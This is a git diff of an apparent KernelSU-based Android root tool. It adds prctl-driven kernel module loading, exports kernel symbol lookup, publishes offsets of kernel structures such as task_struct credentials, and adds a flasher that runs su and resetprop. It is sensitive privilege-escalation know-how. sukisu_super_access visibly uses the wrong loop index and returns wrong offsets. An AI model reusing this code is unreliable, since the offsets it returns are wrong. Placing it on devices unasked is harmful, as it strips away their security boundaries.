$(info -- Supported Unofficial Manager: ShirkNeko (GKI) (Non-GKI)) $(info -- Supported Unofficial Manager: 5ec1cff (GKI) ShirkNeko udochina (GKI and KPM))
KERNEL_VERSION := $(VERSION).$(PATCHLEVEL) KERNEL_VERSION := $(VERSION).$(PATCHLEVEL)
KERNEL_TYPE := Non-GKI
# Check for GKI 2.0 (5.10+ or 6.x+)
ifneq ($(shell test \( $(VERSION) -ge 5 -a $(PATCHLEVEL) -ge 10 \) -o $(VERSION) -ge 6; echo $$?),0)
# Check for GKI 1.0 (5.4)
ifeq ($(shell test $(VERSION)-$(PATCHLEVEL) = 5-4; echo $$?),0)
KERNEL_TYPE := GKI 1.0
endif
else
KERNEL_TYPE := GKI 2.0
endif
$(info -- KERNEL_VERSION: $(KERNEL_VERSION)) $(info -- KERNEL_VERSION: $(KERNEL_VERSION))
$(info -- KERNEL_TYPE: $(KERNEL_TYPE))
$(info -- KERNEL_VERSION: $(KERNEL_VERSION))
ifeq ($(CONFIG_KPM),y)
$(info -- KPM is enabled)
else
$(info -- KPM is disabled)
endif
ccflags-y += -DEXPECTED_SIZE=$(KSU_EXPECTED_SIZE) ccflags-y += -DEXPECTED_SIZE=$(KSU_EXPECTED_SIZE)

View File

@@ -419,10 +419,7 @@ int ksu_handle_prctl(int option, unsigned long arg2, unsigned long arg3,
pr_info("KPM: calling before arg2=%d\n", (int) arg2); pr_info("KPM: calling before arg2=%d\n", (int) arg2);
res = sukisu_handle_kpm(arg2, arg3, arg4); res = sukisu_handle_kpm(arg2, arg3, arg4, arg5);
copy_to_user(result, &res, sizeof(res));
pr_info("KPM: calling before arg2=%d res=%d\n", (int) arg2, (int) res);
return 0; return 0;
} }

View File

@@ -1,2 +1,6 @@
obj-y += kpm.o obj-y += kpm.o
obj-y += compact.o obj-y += compact.o
obj-y += super_access.o
ccflags-y += -Wno-implicit-function-declaration -Wno-strict-prototypes -Wno-int-conversion -Wno-gcc-compat
ccflags-y += -Wno-declaration-after-statement -Wno-unused-function

View File

@@ -26,37 +26,56 @@
#include <linux/slab.h> #include <linux/slab.h>
#include "kpm.h" #include "kpm.h"
#include "compact.h" #include "compact.h"
#include "../allowlist.h"
#include "../manager.h"
unsigned long sukisu_compact_find_symbol(const char* name); unsigned long sukisu_compact_find_symbol(const char* name);
// ====================================================================== // ======================================================================
// 兼容函数 for KPM
const char* kpver = "0.10"; static
int sukisu_is_su_allow_uid(uid_t uid) {
return ksu_is_allow_uid(uid) ? 1 : 0;
}
static
int sukisu_get_ap_mod_exclude(uid_t uid) {
// Not supported
return 0;
}
static
int sukisu_is_uid_should_umount(uid_t uid) {
return ksu_uid_should_umount(uid) ? 1 : 0;
}
static
int sukisu_is_current_uid_manager() {
return is_manager();
}
static
uid_t sukisu_get_manager_uid() {
return ksu_manager_uid;
}
// ======================================================================
struct CompactAddressSymbol { struct CompactAddressSymbol {
const char* symbol_name; const char* symbol_name;
void* addr; void* addr;
}; };
struct CompactAliasSymbol { static struct CompactAddressSymbol address_symbol [] = {
const char* symbol_name;
const char* compact_symbol_name;
};
struct CompactAddressSymbol address_symbol [] = {
{ "kallsyms_lookup_name", &kallsyms_lookup_name }, { "kallsyms_lookup_name", &kallsyms_lookup_name },
{ "compact_find_symbol", &sukisu_compact_find_symbol }, { "compact_find_symbol", &sukisu_compact_find_symbol },
{ "compat_copy_to_user", &copy_to_user }, { "is_run_in_sukisu_ultra", (void*)1 },
{ "compat_strncpy_from_user", &strncpy_from_user }, { "is_su_allow_uid", &sukisu_is_su_allow_uid },
{ "kpver", &kpver }, { "get_ap_mod_exclude", &sukisu_get_ap_mod_exclude },
{ "is_run_in_sukisu_ultra", (void*)1 } { "is_uid_should_umount", &sukisu_is_uid_should_umount },
}; { "is_current_uid_manager", &sukisu_is_current_uid_manager },
{ "get_manager_uid", &sukisu_get_manager_uid }
struct CompactAliasSymbol alias_symbol[] = {
{"kf_strncat", "strncat"},
{"kf_strlen", "strlen" },
{"kf_strcpy", "strcpy"},
{"compat_copy_to_user", "__arch_copy_to_user"}
}; };
unsigned long sukisu_compact_find_symbol(const char* name) { unsigned long sukisu_compact_find_symbol(const char* name) {
@@ -71,30 +90,13 @@ unsigned long sukisu_compact_find_symbol(const char* name) {
} }
} }
/* 如果符号名以 "kf__" 开头,尝试解析去掉前缀的部分 */
if (strncmp(name, "kf__", 4) == 0) {
const char *real_name = name + 4; // 去掉 "kf__"
addr = (unsigned long)kallsyms_lookup_name(real_name);
if (addr) {
return addr;
}
}
// 通过内核来查 // 通过内核来查
addr = kallsyms_lookup_name(name); addr = kallsyms_lookup_name(name);
if(addr) { if(addr) {
return addr; return addr;
} }
// 查不到就查查兼容的符号
for(i = 0; i < (sizeof(alias_symbol) / sizeof(struct CompactAliasSymbol)); i++) {
struct CompactAliasSymbol* symbol = &alias_symbol[i];
if(strcmp(name, symbol->symbol_name) == 0) {
addr = kallsyms_lookup_name(symbol->compact_symbol_name);
if(addr)
return addr;
}
}
return 0; return 0;
} }
EXPORT_SYMBOL(sukisu_compact_find_symbol);

File diff suppressed because it is too large Load Diff

View File

@@ -1,44 +1,44 @@
#ifndef ___SUKISU_KPM_H #ifndef ___SUKISU_KPM_H
#define ___SUKISU_KPM_H #define ___SUKISU_KPM_H
int sukisu_handle_kpm(unsigned long arg3, unsigned long arg4, unsigned long arg5); int sukisu_handle_kpm(unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
int sukisu_is_kpm_control_code(unsigned long arg2); int sukisu_is_kpm_control_code(unsigned long arg2);
// KPM控制代码 // KPM控制代码
#define CMD_KPM_CONTROL 28 #define CMD_KPM_CONTROL 28
#define CMD_KPM_CONTROL_MAX 34 #define CMD_KPM_CONTROL_MAX 35
// 控制代码 // 控制代码
// prctl(xxx, xxx, 1, "PATH", "ARGS") // prctl(xxx, 28, "PATH", "ARGS")
// success return 0, error return -N // success return 0, error return -N
#define SUKISU_KPM_LOAD 28 #define SUKISU_KPM_LOAD 28
// prctl(xxx, xxx, 2, "NAME") // prctl(xxx, 29, "NAME")
// success return 0, error return -N // success return 0, error return -N
#define SUKISU_KPM_UNLOAD 29 #define SUKISU_KPM_UNLOAD 29
// num = prctl(xxx, xxx, 3) // num = prctl(xxx, 30)
// error return -N // error return -N
// success return +num or 0 // success return +num or 0
#define SUKISU_KPM_NUM 30 #define SUKISU_KPM_NUM 30
// prctl(xxx, xxx, 4, Buffer, BufferSize) // prctl(xxx, 31, Buffer, BufferSize)
// success return +out, error return -N // success return +out, error return -N
#define SUKISU_KPM_LIST 31 #define SUKISU_KPM_LIST 31
// prctl(xxx, xxx, 5, "NAME", Buffer[256]) // prctl(xxx, 32, "NAME", Buffer[256])
// success return +out, error return -N // success return +out, error return -N
#define SUKISU_KPM_INFO 32 #define SUKISU_KPM_INFO 32
// prctl(xxx, xxx, 6, "NAME", "ARGS") // prctl(xxx, 33, "NAME", "ARGS")
// success return KPM's result value // success return KPM's result value
// error return -N // error return -N
#define SUKISU_KPM_CONTROL 33 #define SUKISU_KPM_CONTROL 33
// prctl(xxx, xxx, 7) // prctl(xxx, 34, buffer, bufferSize)
// success will printf to stdout and return 0 // success return KPM's result value
// error will return -1 // error return -N
#define SUKISU_KPM_PRINT 34 #define SUKISU_KPM_VERSION 34
#endif #endif

View File

@@ -0,0 +1,285 @@
#include <linux/export.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/kernfs.h>
#include <linux/file.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/uaccess.h>
#include <linux/elf.h>
#include <linux/kallsyms.h>
#include <linux/version.h>
#include <linux/list.h>
#include <linux/spinlock.h>
#include <linux/rcupdate.h>
#include <asm/elf.h> /* 包含 ARM64 重定位类型定义 */
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <linux/string.h>
#include <asm/cacheflush.h>
#include <linux/module.h>
#include <linux/vmalloc.h>
#include <linux/set_memory.h>
#include <linux/version.h>
#include <linux/export.h>
#include <linux/slab.h>
#include "kpm.h"
#include "compact.h"
#include <linux/types.h>
#include <linux/stddef.h>
// 结构体成员元数据
struct DynamicStructMember {
const char* name;
size_t size;
size_t offset;
};
// 结构体元数据(包含总大小)
struct DynamicStructInfo {
const char* name;
size_t count;
size_t total_size;
struct DynamicStructMember* members;
};
// 定义结构体元数据的宏(直接使用 struct 名称)
#define DYNAMIC_STRUCT_BEGIN(struct_name) \
static struct DynamicStructMember struct_name##_members[] = {
#define DEFINE_MEMBER(struct_name, member) \
{ \
.name = #member, \
.size = sizeof(((struct struct_name*)0)->member), \
.offset = offsetof(struct struct_name, member) \
},
#define DYNAMIC_STRUCT_END(struct_name) \
}; \
static struct DynamicStructInfo struct_name##_info = { \
.name = #struct_name, \
.count = sizeof(struct_name##_members) / sizeof(struct DynamicStructMember), \
.total_size = sizeof(struct struct_name), \
.members = struct_name##_members \
};
// ==================================================================================
#include <linux/version.h>
#define KERNEL_VERSION_6_1 KERNEL_VERSION(6, 1, 0)
#define KERNEL_VERSION_5_15 KERNEL_VERSION(5, 15, 0)
#include <../fs/mount.h>
#include <linux/mount.h>
// 定义元数据
DYNAMIC_STRUCT_BEGIN(mount)
DEFINE_MEMBER(mount, mnt_parent)
DEFINE_MEMBER(mount, mnt)
DEFINE_MEMBER(mount, mnt_id)
DEFINE_MEMBER(mount, mnt_group_id)
DEFINE_MEMBER(mount, mnt_expiry_mark)
DEFINE_MEMBER(mount, mnt_master)
DEFINE_MEMBER(mount, mnt_devname)
DYNAMIC_STRUCT_END(mount)
DYNAMIC_STRUCT_BEGIN(vfsmount)
DEFINE_MEMBER(vfsmount, mnt_root)
DEFINE_MEMBER(vfsmount, mnt_sb)
DEFINE_MEMBER(vfsmount, mnt_flags)
DYNAMIC_STRUCT_END(vfsmount)
DYNAMIC_STRUCT_BEGIN(mnt_namespace)
DEFINE_MEMBER(mnt_namespace, ns)
DEFINE_MEMBER(mnt_namespace, root)
DEFINE_MEMBER(mnt_namespace, seq)
DEFINE_MEMBER(mnt_namespace, mounts)
#if LINUX_VERSION_CODE < KERNEL_VERSION_5_15
DEFINE_MEMBER(mnt_namespace, count)
#endif
DYNAMIC_STRUCT_END(mnt_namespace)
#include <linux/kprobes.h>
#ifdef CONFIG_KPROBES
DYNAMIC_STRUCT_BEGIN(kprobe)
DEFINE_MEMBER(kprobe, addr)
DEFINE_MEMBER(kprobe, symbol_name)
DEFINE_MEMBER(kprobe, offset)
DEFINE_MEMBER(kprobe, pre_handler)
DEFINE_MEMBER(kprobe, post_handler)
#if LINUX_VERSION_CODE < KERNEL_VERSION_5_15
DEFINE_MEMBER(kprobe, fault_handler)
#endif
DEFINE_MEMBER(kprobe, flags)
DYNAMIC_STRUCT_END(kprobe)
#endif
#include <linux/mm.h>
#include <linux/mm_types.h>
DYNAMIC_STRUCT_BEGIN(vm_area_struct)
DEFINE_MEMBER(vm_area_struct,vm_start)
DEFINE_MEMBER(vm_area_struct,vm_end)
DEFINE_MEMBER(vm_area_struct,vm_flags)
DEFINE_MEMBER(vm_area_struct,anon_vma)
DEFINE_MEMBER(vm_area_struct,vm_pgoff)
DEFINE_MEMBER(vm_area_struct,vm_file)
DEFINE_MEMBER(vm_area_struct,vm_private_data)
#ifdef CONFIG_ANON_VMA_NAME
DEFINE_MEMBER(vm_area_struct, anon_name)
#endif
DEFINE_MEMBER(vm_area_struct, vm_ops)
DYNAMIC_STRUCT_END(vm_area_struct)
DYNAMIC_STRUCT_BEGIN(vm_operations_struct)
DEFINE_MEMBER(vm_operations_struct, open)
DEFINE_MEMBER(vm_operations_struct, close)
DEFINE_MEMBER(vm_operations_struct, name)
DEFINE_MEMBER(vm_operations_struct, access)
DYNAMIC_STRUCT_END(vm_operations_struct)
#include <linux/netlink.h>
DYNAMIC_STRUCT_BEGIN(netlink_kernel_cfg)
DEFINE_MEMBER(netlink_kernel_cfg, groups)
DEFINE_MEMBER(netlink_kernel_cfg, flags)
DEFINE_MEMBER(netlink_kernel_cfg, input)
DEFINE_MEMBER(netlink_kernel_cfg, cb_mutex)
DEFINE_MEMBER(netlink_kernel_cfg, bind)
DEFINE_MEMBER(netlink_kernel_cfg, unbind)
#if LINUX_VERSION_CODE < KERNEL_VERSION_6_1
DEFINE_MEMBER(netlink_kernel_cfg, compare)
#endif
DYNAMIC_STRUCT_END(netlink_kernel_cfg)
#include <linux/sched.h>
DYNAMIC_STRUCT_BEGIN(task_struct)
DEFINE_MEMBER(task_struct, pid)
DEFINE_MEMBER(task_struct, tgid)
DEFINE_MEMBER(task_struct, cred)
DEFINE_MEMBER(task_struct, real_cred)
DEFINE_MEMBER(task_struct, comm)
DEFINE_MEMBER(task_struct, parent)
DEFINE_MEMBER(task_struct, group_leader)
DEFINE_MEMBER(task_struct, mm)
DEFINE_MEMBER(task_struct, active_mm)
DEFINE_MEMBER(task_struct, thread_pid)
DEFINE_MEMBER(task_struct, files)
DEFINE_MEMBER(task_struct, seccomp)
#ifdef CONFIG_THREAD_INFO_IN_TASK
DEFINE_MEMBER(task_struct, thread_info)
#endif
#ifdef CONFIG_CGROUPS
DEFINE_MEMBER(task_struct, cgroups)
#endif
#ifdef CONFIG_SECURITY
DEFINE_MEMBER(task_struct, security)
#endif
DEFINE_MEMBER(task_struct, thread)
DYNAMIC_STRUCT_END(task_struct)
// =====================================================================================================================
#define STRUCT_INFO(name) &(name##_info)
static
struct DynamicStructInfo* dynamic_struct_infos[] = {
STRUCT_INFO(mount),
STRUCT_INFO(vfsmount),
STRUCT_INFO(mnt_namespace),
#ifdef CONFIG_KPROBES
STRUCT_INFO(kprobe),
#endif
STRUCT_INFO(vm_area_struct),
STRUCT_INFO(vm_operations_struct),
STRUCT_INFO(netlink_kernel_cfg),
STRUCT_INFO(task_struct)
};
// return 0 if successful
// return -1 if struct not defined
int sukisu_super_find_struct(
const char* struct_name,
size_t* out_size,
int* out_members
) {
for(size_t i = 0; i < (sizeof(dynamic_struct_infos) / sizeof(dynamic_struct_infos[0])); i++) {
struct DynamicStructInfo* info = dynamic_struct_infos[i];
if(strcmp(struct_name, info->name) == 0) {
if(out_size)
*out_size = info->total_size;
if(out_members)
*out_members = info->count;
return 0;
}
}
return -1;
}
EXPORT_SYMBOL(sukisu_super_find_struct);
// Dynamic access struct
// return 0 if successful
// return -1 if struct not defined
// return -2 if member not defined
int sukisu_super_access (
const char* struct_name,
const char* member_name,
size_t* out_offset,
size_t* out_size
) {
for(size_t i = 0; i < (sizeof(dynamic_struct_infos) / sizeof(dynamic_struct_infos[0])); i++) {
struct DynamicStructInfo* info = dynamic_struct_infos[i];
if(strcmp(struct_name, info->name) == 0) {
for (size_t i1 = 0; i1 < info->count; i1++) {
if (strcmp(info->members[i1].name, member_name) == 0) {
if(out_offset)
*out_offset = info->members[i].offset;
if(out_size)
*out_size = info->members[i].size;
return 0;
}
}
return -2;
}
}
return -1;
}
EXPORT_SYMBOL(sukisu_super_access);
// 动态 container_of 宏
#define DYNAMIC_CONTAINER_OF(offset, member_ptr) ({ \
(offset != (size_t)-1) ? (void*)((char*)(member_ptr) - offset) : NULL; \
})
// Dynamic container_of
// return 0 if success
// return -1 if current struct not defined
// return -2 if target member not defined
int sukisu_super_container_of(
const char* struct_name,
const char* member_name,
void* ptr,
void** out_ptr
) {
if(ptr == NULL) {
return -3;
}
for(size_t i = 0; i < (sizeof(dynamic_struct_infos) / sizeof(dynamic_struct_infos[0])); i++) {
struct DynamicStructInfo* info = dynamic_struct_infos[i];
if(strcmp(struct_name, info->name) == 0) {
for (size_t i1 = 0; i1 < info->count; i1++) {
if (strcmp(info->members[i1].name, member_name) == 0) {
*out_ptr = (void*) DYNAMIC_CONTAINER_OF(info->members[i1].offset, ptr);
return 0;
}
}
return -2;
}
}
return -1;
}
EXPORT_SYMBOL(sukisu_super_container_of);

View File

@@ -0,0 +1,39 @@
#ifndef __SUKISU_SUPER_ACCESS_H
#define __SUKISU_SUPER_ACCESS_H
#include <linux/types.h>
#include <linux/stddef.h>
#include "kpm.h"
#include "compact.h"
// return 0 if successful
// return -1 if struct not defined
int sukisu_super_find_struct(
const char* struct_name,
size_t* out_size,
int* out_members
);
// Dynamic access struct
// return 0 if successful
// return -1 if struct not defined
// return -2 if member not defined
int sukisu_super_access (
const char* struct_name,
const char* member_name,
size_t* out_offset,
size_t* out_size
);
// Dynamic container_of
// return 0 if success
// return -1 if current struct not defined
// return -2 if target member not defined
int sukisu_super_container_of(
const char* struct_name,
const char* member_name,
void* ptr,
void** out_ptr
);
#endif

View File

@@ -25,7 +25,7 @@ apksign {
} }
android { android {
namespace = "shirkneko.zako.sukisu" namespace = "com.sukisu.ultra"
buildTypes { buildTypes {
release { release {

View File

@@ -1,5 +1,4 @@
// IKsuInterface.aidl package com.sukisu.zako;
package shirkneko.zako.sukisu;
import android.content.pm.PackageInfo; import android.content.pm.PackageInfo;
import rikka.parcelablelist.ParcelableListSlice; import rikka.parcelablelist.ParcelableListSlice;

Binary file not shown.

View File

@@ -12,7 +12,7 @@
extern "C" extern "C"
JNIEXPORT jboolean JNICALL JNIEXPORT jboolean JNICALL
Java_shirkneko_zako_sukisu_Natives_becomeManager(JNIEnv *env, jobject, jstring pkg) { Java_com_sukisu_ultra_Natives_becomeManager(JNIEnv *env, jobject, jstring pkg) {
auto cpkg = env->GetStringUTFChars(pkg, nullptr); auto cpkg = env->GetStringUTFChars(pkg, nullptr);
auto result = become_manager(cpkg); auto result = become_manager(cpkg);
env->ReleaseStringUTFChars(pkg, cpkg); env->ReleaseStringUTFChars(pkg, cpkg);
@@ -21,13 +21,13 @@ Java_shirkneko_zako_sukisu_Natives_becomeManager(JNIEnv *env, jobject, jstring p
extern "C" extern "C"
JNIEXPORT jint JNICALL JNIEXPORT jint JNICALL
Java_shirkneko_zako_sukisu_Natives_getVersion(JNIEnv *env, jobject) { Java_com_sukisu_ultra_Natives_getVersion(JNIEnv *env, jobject) {
return get_version(); return get_version();
} }
extern "C" extern "C"
JNIEXPORT jintArray JNICALL JNIEXPORT jintArray JNICALL
Java_shirkneko_zako_sukisu_Natives_getAllowList(JNIEnv *env, jobject) { Java_com_sukisu_ultra_Natives_getAllowList(JNIEnv *env, jobject) {
int uids[1024]; int uids[1024];
int size = 0; int size = 0;
bool result = get_allow_list(uids, &size); bool result = get_allow_list(uids, &size);
@@ -42,13 +42,13 @@ Java_shirkneko_zako_sukisu_Natives_getAllowList(JNIEnv *env, jobject) {
extern "C" extern "C"
JNIEXPORT jboolean JNICALL JNIEXPORT jboolean JNICALL
Java_shirkneko_zako_sukisu_Natives_isSafeMode(JNIEnv *env, jclass clazz) { Java_com_sukisu_ultra_Natives_isSafeMode(JNIEnv *env, jclass clazz) {
return is_safe_mode(); return is_safe_mode();
} }
extern "C" extern "C"
JNIEXPORT jboolean JNICALL JNIEXPORT jboolean JNICALL
Java_shirkneko_zako_sukisu_Natives_isLkmMode(JNIEnv *env, jclass clazz) { Java_com_sukisu_ultra_Natives_isLkmMode(JNIEnv *env, jclass clazz) {
return is_lkm_mode(); return is_lkm_mode();
} }
@@ -111,7 +111,7 @@ static void fillArrayWithList(JNIEnv *env, jobject list, int *data, int count) {
extern "C" extern "C"
JNIEXPORT jobject JNICALL JNIEXPORT jobject JNICALL
Java_shirkneko_zako_sukisu_Natives_getAppProfile(JNIEnv *env, jobject, jstring pkg, jint uid) { Java_com_sukisu_ultra_Natives_getAppProfile(JNIEnv *env, jobject, jstring pkg, jint uid) {
if (env->GetStringLength(pkg) > KSU_MAX_PACKAGE_NAME) { if (env->GetStringLength(pkg) > KSU_MAX_PACKAGE_NAME) {
return nullptr; return nullptr;
} }
@@ -129,7 +129,7 @@ Java_shirkneko_zako_sukisu_Natives_getAppProfile(JNIEnv *env, jobject, jstring p
bool useDefaultProfile = !get_app_profile(key, &profile); bool useDefaultProfile = !get_app_profile(key, &profile);
auto cls = env->FindClass("shirkneko/zako/sukisu/Natives$Profile"); auto cls = env->FindClass("com/sukisu/ultra/Natives$Profile");
auto constructor = env->GetMethodID(cls, "<init>", "()V"); auto constructor = env->GetMethodID(cls, "<init>", "()V");
auto obj = env->NewObject(cls, constructor); auto obj = env->NewObject(cls, constructor);
auto keyField = env->GetFieldID(cls, "name", "Ljava/lang/String;"); auto keyField = env->GetFieldID(cls, "name", "Ljava/lang/String;");
@@ -207,8 +207,8 @@ Java_shirkneko_zako_sukisu_Natives_getAppProfile(JNIEnv *env, jobject, jstring p
extern "C" extern "C"
JNIEXPORT jboolean JNICALL JNIEXPORT jboolean JNICALL
Java_shirkneko_zako_sukisu_Natives_setAppProfile(JNIEnv *env, jobject clazz, jobject profile) { Java_com_sukisu_ultra_Natives_setAppProfile(JNIEnv *env, jobject clazz, jobject profile) {
auto cls = env->FindClass("shirkneko/zako/sukisu/Natives$Profile"); auto cls = env->FindClass("com/sukisu/ultra/Natives$Profile");
auto keyField = env->GetFieldID(cls, "name", "Ljava/lang/String;"); auto keyField = env->GetFieldID(cls, "name", "Ljava/lang/String;");
auto currentUidField = env->GetFieldID(cls, "currentUid", "I"); auto currentUidField = env->GetFieldID(cls, "currentUid", "I");
@@ -293,16 +293,16 @@ Java_shirkneko_zako_sukisu_Natives_setAppProfile(JNIEnv *env, jobject clazz, job
} }
extern "C" extern "C"
JNIEXPORT jboolean JNICALL JNIEXPORT jboolean JNICALL
Java_shirkneko_zako_sukisu_Natives_uidShouldUmount(JNIEnv *env, jobject thiz, jint uid) { Java_com_sukisu_ultra_Natives_uidShouldUmount(JNIEnv *env, jobject thiz, jint uid) {
return uid_should_umount(uid); return uid_should_umount(uid);
} }
extern "C" extern "C"
JNIEXPORT jboolean JNICALL JNIEXPORT jboolean JNICALL
Java_shirkneko_zako_sukisu_Natives_isSuEnabled(JNIEnv *env, jobject thiz) { Java_com_sukisu_ultra_Natives_isSuEnabled(JNIEnv *env, jobject thiz) {
return is_su_enabled(); return is_su_enabled();
} }
extern "C" extern "C"
JNIEXPORT jboolean JNICALL JNIEXPORT jboolean JNICALL
Java_shirkneko_zako_sukisu_Natives_setSuEnabled(JNIEnv *env, jobject thiz, jboolean enabled) { Java_com_sukisu_ultra_Natives_setSuEnabled(JNIEnv *env, jobject thiz, jboolean enabled) {
return set_su_enabled(enabled); return set_su_enabled(enabled);
} }

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu package com.sukisu.ultra
import android.app.Application import android.app.Application
import coil.Coil import coil.Coil

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu package com.sukisu.ultra
import android.system.Os import android.system.Os

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu package com.sukisu.ultra
import android.os.Parcelable import android.os.Parcelable
import androidx.annotation.Keep import androidx.annotation.Keep
@@ -16,14 +16,14 @@ object Natives {
// 10946: add capabilities // 10946: add capabilities
// 10977: change groups_count and groups to avoid overflow write // 10977: change groups_count and groups to avoid overflow write
// 11071: Fix the issue of failing to set a custom SELinux type. // 11071: Fix the issue of failing to set a custom SELinux type.
const val MINIMAL_SUPPORTED_KERNEL = 11071 const val MINIMAL_SUPPORTED_KERNEL = 12800
// 11640: Support query working mode, LKM or GKI // 11640: Support query working mode, LKM or GKI
// when MINIMAL_SUPPORTED_KERNEL > 11640, we can remove this constant. // when MINIMAL_SUPPORTED_KERNEL > 11640, we can remove this constant.
const val MINIMAL_SUPPORTED_KERNEL_LKM = 11648 const val MINIMAL_SUPPORTED_KERNEL_LKM = 12800
// 12040: Support disable sucompat mode // 12040: Support disable sucompat mode
const val MINIMAL_SUPPORTED_SU_COMPAT = 12040 const val MINIMAL_SUPPORTED_SU_COMPAT = 12800
const val KERNEL_SU_DOMAIN = "u:r:su:s0" const val KERNEL_SU_DOMAIN = "u:r:su:s0"
const val ROOT_UID = 0 const val ROOT_UID = 0
@@ -91,6 +91,14 @@ object Natives {
return version < MINIMAL_SUPPORTED_KERNEL return version < MINIMAL_SUPPORTED_KERNEL
} }
fun isKsuValid(pkgName: String?): Boolean {
if (becomeManager(pkgName)) {
return true
} else {
return false
}
}
@Immutable @Immutable
@Parcelize @Parcelize
@Keep @Keep

View File

@@ -0,0 +1,423 @@
package com.sukisu.ultra.flash
import android.app.Activity
import android.content.Context
import android.net.Uri
import androidx.compose.foundation.layout.*
import androidx.compose.foundation.rememberScrollState
import androidx.compose.foundation.verticalScroll
import androidx.compose.material.icons.Icons
import androidx.compose.material.icons.filled.CheckCircle
import androidx.compose.material.icons.filled.Error
import androidx.compose.material3.*
import androidx.compose.runtime.Composable
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.res.stringResource
import androidx.compose.ui.text.style.TextOverflow
import androidx.compose.ui.unit.dp
import androidx.documentfile.provider.DocumentFile
import com.sukisu.ultra.R
import com.sukisu.ultra.utils.AssetsUtil
import kotlinx.coroutines.flow.MutableStateFlow
import kotlinx.coroutines.flow.StateFlow
import kotlinx.coroutines.flow.asStateFlow
import kotlinx.coroutines.flow.update
import java.io.File
import java.io.FileOutputStream
import java.io.IOException
data class FlashState(
val isFlashing: Boolean = false,
val isCompleted: Boolean = false,
val progress: Float = 0f,
val currentStep: String = "",
val logs: List<String> = emptyList(),
val error: String = ""
)
class HorizonKernelState {
private val _state = MutableStateFlow(FlashState())
val state: StateFlow<FlashState> = _state.asStateFlow()
fun updateProgress(progress: Float) {
_state.update { it.copy(progress = progress) }
}
fun updateStep(step: String) {
_state.update { it.copy(currentStep = step) }
}
fun addLog(log: String) {
_state.update {
it.copy(logs = it.logs + log)
}
}
fun setError(error: String) {
_state.update { it.copy(error = error) }
}
fun startFlashing() {
_state.update {
it.copy(
isFlashing = true,
isCompleted = false,
progress = 0f,
currentStep = "under preparation...",
logs = emptyList(),
error = ""
)
}
}
fun completeFlashing() {
_state.update { it.copy(isCompleted = true, progress = 1f) }
}
fun reset() {
_state.value = FlashState()
}
}
class HorizonKernelWorker(
private val context: Context,
private val state: HorizonKernelState,
private val slot: String? = null
) : Thread() {
var uri: Uri? = null
private lateinit var filePath: String
private lateinit var binaryPath: String
private var onFlashComplete: (() -> Unit)? = null
private var originalSlot: String? = null
fun setOnFlashCompleteListener(listener: () -> Unit) {
onFlashComplete = listener
}
override fun run() {
state.startFlashing()
state.updateStep(context.getString(R.string.horizon_preparing))
filePath = "${context.filesDir.absolutePath}/${DocumentFile.fromSingleUri(context, uri!!)?.name}"
binaryPath = "${context.filesDir.absolutePath}/META-INF/com/google/android/update-binary"
try {
state.updateStep(context.getString(R.string.horizon_cleaning_files))
state.updateProgress(0.1f)
cleanup()
if (!rootAvailable()) {
state.setError(context.getString(R.string.root_required))
return
}
state.updateStep(context.getString(R.string.horizon_copying_files))
state.updateProgress(0.2f)
copy()
if (!File(filePath).exists()) {
state.setError(context.getString(R.string.horizon_copy_failed))
return
}
state.updateStep(context.getString(R.string.horizon_extracting_tool))
state.updateProgress(0.4f)
getBinary()
state.updateStep(context.getString(R.string.horizon_patching_script))
state.updateProgress(0.6f)
patch()
state.updateStep(context.getString(R.string.horizon_flashing))
state.updateProgress(0.7f)
// 获取原始槽位信息
if (slot != null) {
state.updateStep(context.getString(R.string.horizon_getting_original_slot))
state.updateProgress(0.72f)
originalSlot = runCommandGetOutput(true, "getprop ro.boot.slot_suffix")
}
// 设置目标槽位
if (!slot.isNullOrEmpty()) {
state.updateStep(context.getString(R.string.horizon_setting_target_slot))
state.updateProgress(0.74f)
runCommand(true, "resetprop -n ro.boot.slot_suffix _$slot")
}
flash()
// 恢复原始槽位
if (!originalSlot.isNullOrEmpty()) {
state.updateStep(context.getString(R.string.horizon_restoring_original_slot))
state.updateProgress(0.8f)
runCommand(true, "resetprop ro.boot.slot_suffix $originalSlot")
}
state.updateStep(context.getString(R.string.horizon_flash_complete_status))
state.completeFlashing()
(context as? Activity)?.runOnUiThread {
onFlashComplete?.invoke()
}
} catch (e: Exception) {
state.setError(e.message ?: context.getString(R.string.horizon_unknown_error))
// 恢复原始槽位
if (!originalSlot.isNullOrEmpty()) {
state.updateStep(context.getString(R.string.horizon_restoring_original_slot))
state.updateProgress(0.8f)
runCommand(true, "resetprop ro.boot.slot_suffix $originalSlot")
}
}
}
private fun cleanup() {
runCommand(false, "find ${context.filesDir.absolutePath} -type f ! -name '*.jpg' ! -name '*.png' -delete")
}
private fun copy() {
uri?.let { safeUri ->
context.contentResolver.openInputStream(safeUri)?.use { input ->
FileOutputStream(File(filePath)).use { output ->
input.copyTo(output)
}
}
}
}
private fun getBinary() {
runCommand(false, "unzip \"$filePath\" \"*/update-binary\" -d ${context.filesDir.absolutePath}")
if (!File(binaryPath).exists()) {
throw IOException("Failed to extract update-binary")
}
}
private fun patch() {
val mkbootfsPath = "${context.filesDir.absolutePath}/mkbootfs"
AssetsUtil.exportFiles(context, "mkbootfs", mkbootfsPath)
runCommand(false, "sed -i '/chmod -R 755 tools bin;/i cp -f $mkbootfsPath \$AKHOME/tools;' $binaryPath")
}
private fun flash() {
val process = ProcessBuilder("su")
.redirectErrorStream(true)
.start()
try {
process.outputStream.bufferedWriter().use { writer ->
writer.write("export POSTINSTALL=${context.filesDir.absolutePath}\n")
// 写入槽位信息到临时文件
slot?.let { selectedSlot ->
writer.write("echo \"$selectedSlot\" > ${context.filesDir.absolutePath}/bootslot\n")
}
// 构建刷写命令
val flashCommand = buildString {
append("sh $binaryPath 3 1 \"$filePath\"")
if (slot != null) {
append(" \"$(cat ${context.filesDir.absolutePath}/bootslot)\"")
}
append(" && touch ${context.filesDir.absolutePath}/done\n")
}
writer.write(flashCommand)
writer.write("exit\n")
writer.flush()
}
process.inputStream.bufferedReader().use { reader ->
reader.lineSequence().forEach { line ->
if (line.startsWith("ui_print")) {
